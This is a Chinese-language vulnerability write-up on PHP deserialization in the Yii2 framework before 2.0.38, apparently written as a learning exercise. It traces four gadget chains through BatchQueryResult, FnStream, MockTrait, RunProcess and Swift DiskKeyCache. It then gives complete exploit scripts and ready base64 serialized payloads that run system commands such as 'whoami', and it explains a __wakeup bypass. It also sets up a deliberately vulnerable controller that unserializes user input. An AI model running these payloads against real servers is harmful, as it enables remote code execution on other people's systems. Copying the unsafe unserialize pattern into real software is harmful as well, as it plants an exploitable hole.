Yii2介绍

Yii 是一个高性能,基于组件的 PHP 框架,用于快速开发现代 Web 应用程序。即可以用于开发各种用 PHP 构建的 Web 应用。因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。

影响范围

  • Yii2 < 2.0.38

2.0.38已修复,官方给yii\db\BatchQueryResult类加了一个__wakeup()函数,__wakeup方法在类被反序列化时会自动被调用,而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了漏洞。

环境复现

直接上github将app下载下来解压

本地web环境使用phpstudy集成环境搭建,使用phpstorm进行xdebug调试

php version:7.4.3nts,Apache version:2.4.39

修改config\web.php中的cookieValidationKey为任意值,作为yii\web\Request::cookieValidationKey的加密值,不设置会报错

接着自己添加一个controller来进行漏洞的利用,创建一个action:http://url/index.php?r=test/test, controllers的命名是: 名称Controller,action的命名是: action名称,如下

controllers/TestController.php

<?php

namespace app\controllers;

use yii\web\Controller;

class TestController extends Controller{
    public function actionTest($data){
        return unserialize(base64_decode($data));
    }
}

发包测试,环境搭建成功

CVE漏洞分析

POP1

yii\db\BatchQueryResult这个类入手,提起主要代码分析:

public function __destruct()
{
    // make sure cursor is closed
    $this->reset();
}
public function reset()
{
    if ($this->_dataReader !== null) {
        $this->_dataReader->close();
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
}

可以看到,__destruct调用了reset方法reset调用了close方法,参数_dataReader可控,学习思路后知道这里可以通过触发__call方法来进行利用

  • __call:当一个对象在对象上下文中调用不可访问的方法时触发

当一个对象调用不可访问的close方法或者类中压根就没有close方法,即可触发__call,全局搜索__call方法

找到其中一个Faker/Generator.php类,跟进查看代码

public function __call($method, $attributes)
{
    return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }
    foreach ($this->providers as $provider) {
        if (method_exists($provider, $formatter)) {
            $this->formatters[$formatter] = array($provider, $formatter);

            return $this->formatters[$formatter];
        }
    }
    throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

__call方法调用了类中的format方法,format方法里的call_user_func_array里的参数调用了getFormatter方法

  • call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

    大致使用方法如下

    <?php
    function foobar($arg, $arg2) {
        echo __FUNCTION__, " got $arg and $arg2\n";
    }
    class foo {
        function bar($arg, $arg2) {
            echo __METHOD__, " got $arg and $arg2\n";
        }
    }
    // Call the foobar() function with 2 arguments
    call_user_func_array("foobar", array("one", "two"));
    // Call the $foo->bar() method with 2 arguments
    $foo = new foo;
    call_user_func_array(array($foo, "bar"), array("three", "four"));
    ?>

getFormatter方法从$this->$formatter中取值,$this->formatter可控,所以这里可以调用任意类中的任意方法了。Debug如下

但是$arguments是从yii\db\BatchQueryResult::reset()里传过来的,我们不可控,比如这里就为空,因为传来的close方法中参参数值,所以我们只能不带参数地去调用别的类中的方法。

到这一步就需要一个执行类,这时需要类中的方法需要满足两个条件

  1. 方法所需的参数只能是其自己类中存在的(即参数:$this->args
  2. 方法需要有命令执行功能

通过全局查找正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)来查找,结果如下

  • call_user_func:把第一个参数作为回调函数调用,这里用call_user_func即可达到命令执行的效果也可以达到RCE的效果

    大致使用方法如下

    <?php
    error_reporting(E_ALL);
    function increment(&$var)
    {
        $var++;
    }
    
    $a = 0;
    call_user_func('increment', $a);
    echo $a."\n";
    
    call_user_func_array('increment', array(&$a)); // You can use this instead before PHP 5.3
    echo $a."\n";
    ?>

其中有两个类中的run方法可用

  1. yii\rest\CreateAction::run()$this->checkAccess, $this->id两个参数可控

    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }
    
        ......
        
        return $model;
    }
  2. \yii\rest\IndexAction::run()$this->checkAccess, $this->id两个参数可控

    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }
        return $this->prepareDataProvider();
    }

于是即可构造完整的pop

yii\db\BatchQueryResult::__destruct()->reset()->close()
->
Faker\Generator::__call()->format()->call_user_func_array()
->
\yii\rest\IndexAction::run->call_user_func()

Exp

<?php
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';           //command
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new IndexAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
    //TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19
}
?>

命令执行结果如下

POP2

还是从yii2/db/BatchQueryResult.php入手,换种思路,我们不找__call方法来触发,直接找close方法

随后我们找到一个FnStream.phpvendor\guzzlehttp\psr7\src目录下,代码如下

public function close()
{
    return call_user_func($this->_fn_close);
}

$this->_fn_close可控

Exp

<?php
namespace GuzzleHttp\Psr7 {
    class FnStream {
        var $_fn_close = "phpinfo";
    }
}
namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader  = new FnStream();
        }
    }
    $b = new BatchQueryResult();
    print_r(base64_encode(serialize($b)));
    //TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ==
}

执行效果如下:

我们需要对危害进行放大,这里就需要一个执行类,拿这个call_user_func函数作跳板,来进行代码执行,全局搜索eval,找到一个MockTrait.php文件在vendor\phpunit\phpunit\src\Framework\MockObject下,代码如下:

public function generate(): string
{
    if (!\class_exists($this->mockName, false)) {
        eval($this->classCode);
    }

    return $this->mockName;
}

$this->classCode$this->mockName都可控

于是即可构造完整的pop

yii\db\BatchQueryResult::__destruct()->reset()->close()
->
GuzzleHttp\Psr7\FnStream::close()->call_user_func
->
PHPUnit\Framework\MockObject\MockTrait::generate->eval()

Exp

<?php
namespace PHPUnit\Framework\MockObject{
    class MockTrait {
        private $classCode = "system('whoami');";
        private $mockName = "extrader";
    }
}

namespace GuzzleHttp\Psr7 {

    use PHPUnit\Framework\MockObject\MockTrait;
    class FnStream {
        var $_fn_close;
        function __construct(){
            $this->_fn_close = array(
                new MockTrait(),
                'generate'
            );
        }
    }
}
namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader  = new FnStream();
        }
    }
    $b = new BatchQueryResult();
    print_r(base64_encode(serialize($b)));
}

然而代码并没有执行成功,看到报错信息

__wakeup方法throw出去了,当然__wakeup可绕,前提是PHP5 < 5.6.25,7.x < 7.0.10之前,具体绕过方法网上很多,这里不再赘述,执行效果如下

paylaod:

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoyOntzOjk6Il9mbl9jbG9zZSI7YToyOntpOjA7TzozODoiUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrVHJhaXQiOjI6e3M6NDk6IgBQSFBVbml0XEZyYW1ld29ya1xNb2NrT2JqZWN0XE1vY2tUcmFpdABjbGFzc0NvZGUiO3M6MTc6InN5c3RlbSgnd2hvYW1pJyk7IjtzOjQ4OiIAUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrVHJhaXQAbW9ja05hbWUiO3M6ODoiZXh0cmFkZXIiO31pOjE7czo4OiJnZW5lcmF0ZSI7fX19

这里就疑惑了,我这里php明明是php7.4的环境,为什么也可以绕???

既然__wakeup可绕,那2.0.38版本修复的方法就是加一个__wakeup方法,是不是也可以直接绕?在github上又把2.0.38版本的源码下下来,然后用构造好的绕过__wakeup的payload测试,直接没回显了,报错也没了,有点迷,有点迷。。。

2.0.38反序列化

此处参考链接,师傅很强,学习了!

POP3

利用点在vendor/codeception/codeception/ext/RunProcess.php:93

里面有这两个方法

public function __destruct()
{
    $this->stopProcess();
}

public function stopProcess()
{
    foreach (array_reverse($this->processes) as $process) {
        /** @var $process Process  **/
        if (!$process->isRunning()) {
            continue;
        }
        $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
        $process->stop();
    }
    $this->processes = [];
}

对象在销毁的时候,触发__destruct方法,__destruct方法调用了stopProcess方法,stopProcess方法中的$this->processes可控,即$process也可控,$process会调用isRunning()方法,那么这里就可以尝试利用__call方法了,可以接着上面的POP1链利用

完整的pop链如下:

\Codeception\Extension\RunProcess::__destruct()->stopProcess()->$process->isRunning()
->
Faker\Generator::__call()->format()->call_user_func_array()
->
\yii\rest\IndexAction::run->call_user_func()

Exp

<?php
// EXP3: RunProcess -> ... -> __call()
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';           //command
            // run() -> call_user_func($this->checkAccess, $this->id);
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['isRunning'] = [new IndexAction, 'run'];
            //stopProcess方法里又调用了isRunning()方法: $process->isRunning()
        }
    }
}


namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }

    }
}

namespace{
    use Codeception\Extension\RunProcess;
    echo base64_encode(serialize(new RunProcess()));
}

?>

请求结果如下,成功命令执行

POP4

利用点在vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php

主要代码如下:

public function __destruct()
{
    foreach ($this->keys as $nsKey => $null) {
        $this->clearAll($nsKey);
    }
}
public function clearAll($nsKey)
{
    if (array_key_exists($nsKey, $this->keys)) {
        foreach ($this->keys[$nsKey] as $itemKey => $null) {
            $this->clearKey($nsKey, $itemKey);
        }
        if (is_dir($this->path.'/'.$nsKey)) {
            rmdir($this->path.'/'.$nsKey);
        }
        unset($this->keys[$nsKey]);
    }
}
public function clearKey($nsKey, $itemKey)
{
    if ($this->hasKey($nsKey, $itemKey)) {
        $this->freeHandle($nsKey, $itemKey);
        unlink($this->path.'/'.$nsKey.'/'.$itemKey);
    }
}

unlink使用拼接字符串,$this->path可控,即可想到调用__toString方法(当一个对象被当做字符串使用时被调用)

全局查找__toString()方法,最好找一些调用其他类函数__toString

有如下的几个类中的__toString方法可用:

\Codeception\Util\XmlBuilder::__toString -> \DOMDocument::saveXML 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Deprecated::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Generic::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\See::__toString -> render可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Link::__toString -> render

...

这里以\Codeception\Util\XmlBuilder::__toString为例

public function __toString()
{
    return $this->__dom__->saveXML();
}

$this->__dom__可控,在调用saveXML()方法的时候会调用__call方法。

pop链如下:

\Swift_KeyCache_DiskKeyCache::__destruct -> clearAll -> clearKey -> __toString
-> 
\Codeception\Util\XmlBuilder::__toString -> saveXML
-> 
Faker\Generator::__call()->format() -> call_user_func_array()
->
\yii\rest\IndexAction::run -> call_user_func()

Exp

<?php
// EXP: Swift_KeyCache_DiskKeyCache::__destruct -> __toString -> __call
namespace {

    use Codeception\Util\XmlBuilder;
    use phpDocumentor\Reflection\DocBlock\Tags\Covers;

    class Swift_KeyCache_DiskKeyCache{
        private $path;
        private $keys;

        public function __construct()
        {
            $this->keys = array(
                "extrader" =>array("is", "am")
            );  //注意 ClearAll中的数组解析了两次,之后再unlink
            $this->path = new XmlBuilder();
        }
    }

    $payload = new Swift_KeyCache_DiskKeyCache();
    echo base64_encode(serialize($payload));
}

namespace Codeception\Util{
    use Faker\Generator;

    class XmlBuilder{
        protected $__dom__;
        public function __construct(){
            $this->__dom__ = new Generator();
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;

    class Covers{
        private $refers;
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
            $this->refers = "AnyStringisOK";
        }
    }

}

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';           //command
            // run() -> call_user_func($this->checkAccess, $this->id);
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['saveXML'] = [new IndexAction, 'run'];
        }
    }
}

发包,成功命令执行

小结

  • 发现这几个pop链用来用去最后都是靠着__call方法来触发代码执行,代码审计的少,以后再遇到代码审计的问题可以多多考虑这一方面的东西
  • 善于搜索,使用正则表达式,比如满足\$this->(\w+)->(\w+)\(\)这个正则的就可能可以触发__call方法
  • 找链的开端可以尝试从__destruct入手,然后追链,追方法
  • call_user_func中的callback可以是数组
  • 整个pop链下来还是学到不少东西的,慢慢来吧

参考